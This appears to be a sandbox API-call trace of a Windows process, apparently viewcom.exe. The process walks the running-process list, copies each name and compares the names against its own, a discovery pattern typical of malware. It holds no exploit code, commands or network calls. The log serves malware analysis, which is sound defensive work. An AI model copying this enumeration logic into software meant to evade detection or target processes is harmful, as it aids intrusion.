[0071.714] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
[0071.715] lstrcpyW (in: lpString1=0x1a6734, lpString2="System" | out: lpString1="System") returned="System"
[0071.715] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
[0071.716] lstrcpyW (in: lpString1=0x1a694c, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe"
[0071.716] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
[0071.717] lstrcpyW (in: lpString1=0x1a6b64, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe"
[0071.717] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
[0071.717] lstrcpyW (in: lpString1=0x1a6d7c, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe"
[0071.717] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
[0071.718] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
[0071.719] lstrcpyW (in: lpString1=0x1a6f94, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe"
[0071.719] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
[0071.720] lstrcpyW (in: lpString1=0x1a71ac, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe"
[0071.720] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
[0071.721] lstrcpyW (in: lpString1=0x1a73c4, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe"
[0071.721] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x174, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
[0071.721] lstrcpyW (in: lpString1=0x1a75dc, lpString2="lsm.exe" | out: lpString1="lsm.exe") returned="lsm.exe"
[0071.721] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0071.722] lstrcpyW (in: lpString1=0x1a77f4, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe"
[0071.722] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0071.723] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0071.724] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0071.725] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0071.725] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
[0071.726] lstrcpyW (in: lpString1=0x1a7a0c, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe"
[0071.726] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0071.727] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0071.728] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
[0071.729] lstrcpyW (in: lpString1=0x1a7c24, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe"
[0071.729] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0071.730] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
[0071.730] lstrcpyW (in: lpString1=0x1a7e3c, lpString2="taskhost.exe" | out: lpString1="taskhost.exe") returned="taskhost.exe"
[0071.730] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
[0071.731] lstrcpyW (in: lpString1=0x1a8054, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe"
[0071.731] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
[0071.732] lstrcpyW (in: lpString1=0x1a826c, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe"
[0071.732] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x5b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
[0071.733] lstrcpyW (in: lpString1=0x1a8484, lpString2="explorer.exe" | out: lpString1="explorer.exe") returned="explorer.exe"
[0071.733] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x680, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x34c, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
[0071.734] lstrcpyW (in: lpString1=0x1a86b4, lpString2="taskeng.exe" | out: lpString1="taskeng.exe") returned="taskeng.exe"
[0071.734] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x34c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
[0071.735] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x34c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
[0071.735] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
[0071.736] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x768, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="specifies.exe")) returned 1
[0071.737] lstrcpyW (in: lpString1=0x1a88dc, lpString2="specifies.exe" | out: lpString1="specifies.exe") returned="specifies.exe"
[0071.737] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gunsmarc.exe")) returned 1
[0071.738] lstrcpyW (in: lpString1=0x1a8b04, lpString2="gunsmarc.exe" | out: lpString1="gunsmarc.exe") returned="gunsmarc.exe"
[0071.738] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="improve corporate vital.exe")) returned 1
[0071.739] lstrcpyW (in: lpString1=0x1a8d2c, lpString2="improve corporate vital.exe" | out: lpString1="improve corporate vital.exe") returned="improve corporate vital.exe"
[0071.739] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="california_hate_gig_hits.exe")) returned 1
[0071.740] lstrcpyW (in: lpString1=0x1a8f54, lpString2="california_hate_gig_hits.exe" | out: lpString1="california_hate_gig_hits.exe") returned="california_hate_gig_hits.exe"
[0071.740] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="streamnomirrorsgrew.exe")) returned 1
[0071.740] lstrcpyW (in: lpString1=0x1a917c, lpString2="streamnomirrorsgrew.exe" | out: lpString1="streamnomirrorsgrew.exe") returned="streamnomirrorsgrew.exe"
[0071.740] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cliff_types.exe")) returned 1
[0071.741] lstrcpyW (in: lpString1=0x1a93a4, lpString2="cliff_types.exe" | out: lpString1="cliff_types.exe") returned="cliff_types.exe"
[0071.741] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="shakespeare.exe")) returned 1
[0071.742] lstrcpyW (in: lpString1=0x1a95cc, lpString2="shakespeare.exe" | out: lpString1="shakespeare.exe") returned="shakespeare.exe"
[0071.742] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="collectables_technical.exe")) returned 1
[0071.743] lstrcpyW (in: lpString1=0x1a97f4, lpString2="collectables_technical.exe" | out: lpString1="collectables_technical.exe") returned="collectables_technical.exe"
[0071.743] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pretty guru.exe")) returned 1
[0071.744] lstrcpyW (in: lpString1=0x1a9a1c, lpString2="pretty guru.exe" | out: lpString1="pretty guru.exe") returned="pretty guru.exe"
[0071.744] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x850, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="received_suggestions_stopped_emphasis.exe")) returned 1
[0071.744] lstrcpyW (in: lpString1=0x1a9c44, lpString2="received_suggestions_stopped_emphasis.exe" | out: lpString1="received_suggestions_stopped_emphasis.exe") returned="received_suggestions_stopped_emphasis.exe"
[0071.745] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="emerging anniversary muscle cradle.exe")) returned 1
[0071.745] lstrcpyW (in: lpString1=0x1a9e6c, lpString2="emerging anniversary muscle cradle.exe" | out: lpString1="emerging anniversary muscle cradle.exe") returned="emerging anniversary muscle cradle.exe"
[0071.745] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="herbs.exe")) returned 1
[0071.746] lstrcpyW (in: lpString1=0x1aa094, lpString2="herbs.exe" | out: lpString1="herbs.exe") returned="herbs.exe"
[0071.746] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x880, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="paso_nylon_tests.exe")) returned 1
[0071.747] lstrcpyW (in: lpString1=0x1aa2bc, lpString2="paso_nylon_tests.exe" | out: lpString1="paso_nylon_tests.exe") returned="paso_nylon_tests.exe"
[0071.747] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="statewide-emergency.exe")) returned 1
[0071.748] lstrcpyW (in: lpString1=0x1aa4e4, lpString2="statewide-emergency.exe" | out: lpString1="statewide-emergency.exe") returned="statewide-emergency.exe"
[0071.748] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="garageopinionsjoycecincinnati.exe")) returned 1
[0071.749] lstrcpyW (in: lpString1=0x1aa70c, lpString2="garageopinionsjoycecincinnati.exe" | out: lpString1="garageopinionsjoycecincinnati.exe") returned="garageopinionsjoycecincinnati.exe"
[0071.749] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ping.exe")) returned 1
[0071.749] lstrcpyW (in: lpString1=0x1aa934, lpString2="ping.exe" | out: lpString1="ping.exe") returned="ping.exe"
[0071.750] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="merit.exe")) returned 1
[0071.750] lstrcpyW (in: lpString1=0x1aab5c, lpString2="merit.exe" | out: lpString1="merit.exe") returned="merit.exe"
[0071.750] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="silent_romantic.exe")) returned 1
[0071.751] lstrcpyW (in: lpString1=0x1aad84, lpString2="silent_romantic.exe" | out: lpString1="silent_romantic.exe") returned="silent_romantic.exe"
[0071.751] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accredited-reject-transmitted.exe")) returned 1
[0071.752] lstrcpyW (in: lpString1=0x1aafac, lpString2="accredited-reject-transmitted.exe" | out: lpString1="accredited-reject-transmitted.exe") returned="accredited-reject-transmitted.exe"
[0071.752] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="project kent essay.exe")) returned 1
[0071.753] lstrcpyW (in: lpString1=0x1ab1d4, lpString2="project kent essay.exe" | out: lpString1="project kent essay.exe") returned="project kent essay.exe"
[0071.753] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cuisine-programs.exe")) returned 1
[0071.754] lstrcpyW (in: lpString1=0x1ab3fc, lpString2="cuisine-programs.exe" | out: lpString1="cuisine-programs.exe") returned="cuisine-programs.exe"
[0071.754] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x5f4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WINWORD.EXE")) returned 1
[0071.755] lstrcpyW (in: lpString1=0x1ab624, lpString2="WINWORD.EXE" | out: lpString1="WINWORD.EXE") returned="WINWORD.EXE"
[0071.755] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0071.755] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1
[0071.756] lstrcpyW (in: lpString1=0x1ab84c, lpString2="OSPPSVC.EXE" | out: lpString1="OSPPSVC.EXE") returned="OSPPSVC.EXE"
[0071.756] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="viewcom.exe")) returned 1
[0071.758] lstrcpyW (in: lpString1=0x1aba74, lpString2="viewcom.exe" | out: lpString1="viewcom.exe") returned="viewcom.exe"
[0071.758] Process32NextW (in: hSnapshot=0xfc, lppe=0x182fb14 | out: lppe=0x182fb14*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="viewcom.exe")) returned 0
[0071.759] CloseHandle (hObject=0xfc) returned 1
[0071.759] lstrlenW (lpString="viewcom.exe") returned 11
[0071.759] lstrlenW (lpString="OSPPSVC.EXE") returned 11
[0071.759] lstrlenW (lpString="WINWORD.EXE") returned 11
[0071.759] lstrlenW (lpString="cuisine-programs.exe") returned 20
[0071.759] lstrlenW (lpString="project kent essay.exe") returned 22
[0071.759] lstrlenW (lpString="accredited-reject-transmitted.exe") returned 33
[0071.759] lstrlenW (lpString="silent_romantic.exe") returned 19
[0071.759] lstrlenW (lpString="merit.exe") returned 9
[0071.759] lstrlenW (lpString="ping.exe") returned 8
[0071.759] lstrlenW (lpString="garageopinionsjoycecincinnati.exe") returned 33
[0071.759] lstrlenW (lpString="statewide-emergency.exe") returned 23
[0071.759] lstrlenW (lpString="paso_nylon_tests.exe") returned 20
[0071.759] lstrlenW (lpString="herbs.exe") returned 9
[0071.759] lstrlenW (lpString="emerging anniversary muscle cradle.exe") returned 38
[0071.759] lstrlenW (lpString="received_suggestions_stopped_emphasis.exe") returned 41
[0071.759] lstrlenW (lpString="pretty guru.exe") returned 15
[0071.759] lstrlenW (lpString="collectables_technical.exe") returned 26
[0071.759] lstrlenW (lpString="shakespeare.exe") returned 15
[0071.759] lstrlenW (lpString="cliff_types.exe") returned 15
[0071.759] lstrlenW (lpString="streamnomirrorsgrew.exe") returned 23
[0071.759] lstrlenW (lpString="california_hate_gig_hits.exe") returned 28
[0071.759] lstrlenW (lpString="improve corporate vital.exe") returned 27
[0071.759] lstrlenW (lpString="gunsmarc.exe") returned 12
[0071.759] lstrlenW (lpString="specifies.exe") returned 13
[0071.759] lstrlenW (lpString="taskeng.exe") returned 11
[0071.759] lstrlenW (lpString="explorer.exe") returned 12
[0071.759] lstrlenW (lpString="dwm.exe") returned 7
[0071.759] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
[0071.759] lstrlenW (lpString="taskhost.exe") returned 12
[0071.759] lstrlenW (lpString="spoolsv.exe") returned 11
[0071.759] lstrlenW (lpString="audiodg.exe") returned 11
[0071.759] lstrlenW (lpString="svchost.exe") returned 11
[0071.759] lstrlenW (lpString="lsm.exe") returned 7
[0071.759] lstrlenW (lpString="lsass.exe") returned 9
[0071.759] lstrlenW (lpString="services.exe") returned 12
[0071.759] lstrlenW (lpString="winlogon.exe") returned 12
[0071.759] lstrlenW (lpString="wininit.exe") returned 11
[0071.759] lstrlenW (lpString="csrss.exe") returned 9
[0071.760] lstrlenW (lpString="smss.exe") returned 8
[0071.760] lstrlenW (lpString="System") returned 6
[0071.760] lstrlenW (lpString="[System Process]") returned 16
[0071.760] lstrcmpiW (lpString1="viewcom.exe", lpString2="viewcom.exe") returned 0
[0071.760] lstrcmpiW (lpString1="OSPPSVC.EXE", lpString2="viewcom.exe") returned -1
[0071.760] lstrcpyW (in: lpString1=0x1ac698, lpString2="OSPPSVC.EXE" | out: lpString1="OSPPSVC.EXE") returned="OSPPSVC.EXE"
[0071.760] lstrlenW (lpString="OSPPSVC.EXE") returned 11
[0071.760] lstrcmpiW (lpString1="WINWORD.EXE", lpString2="viewcom.exe") returned 1
[0071.760] lstrcpyW (in: lpString1=0x1ac6b0, lpString2="WINWORD.EXE" | out: lpString1="WINWORD.EXE") returned="WINWORD.EXE"
[0071.760] lstrlenW (lpString="WINWORD.EXE") returned 11
[0071.760] lstrcmpiW (lpString1="cuisine-programs.exe", lpString2="viewcom.exe") returned -1
[0071.760] lstrcpyW (in: lpString1=0x1ac6c8, lpString2="cuisine-programs.exe" | out: lpString1="cuisine-programs.exe") returned="cuisine-programs.exe"
[0071.760] lstrlenW (lpString="cuisine-programs.exe") returned 20
[0071.760] lstrcmpiW (lpString1="project kent essay.exe", lpString2="viewcom.exe") returned -1
[0071.760] lstrcpyW (in: lpString1=0x1ac6f2, lpString2="project kent essay.exe" | out: lpString1="project kent essay.exe") returned="project kent essay.exe"
[0071.760] lstrlenW (lpString="project kent essay.exe") returned 22
[0071.760] lstrcmpiW (lpString1="accredited-reject-transmitted.exe", lpString2="viewcom.exe") returned -1
[0071.760] lstrcpyW (in: lpString1=0x1ac720, lpString2="accredited-reject-transmitted.exe" | out: lpString1="accredited-reject-transmitted.exe") returned="accredited-reject-transmitted.exe"
[0071.760] lstrlenW (lpString="accredited-reject-transmitted.exe") returned 33
[0071.760] lstrcmpiW (lpString1="silent_romantic.exe", lpString2="viewcom.exe") returned -1
[0071.760] lstrcpyW (in: lpString1=0x1ac764, lpString2="silent_romantic.exe" | out: lpString1="silent_romantic.exe") returned="silent_romantic.exe"
[0071.760] lstrlenW (lpString="silent_romantic.exe") returned 19
[0071.760] lstrcmpiW (lpString1="merit.exe", lpString2="viewcom.exe") returned -1
[0071.760] lstrcpyW (in: lpString1=0x1ac78c, lpString2="merit.exe" | out: lpString1="merit.exe") returned="merit.exe"
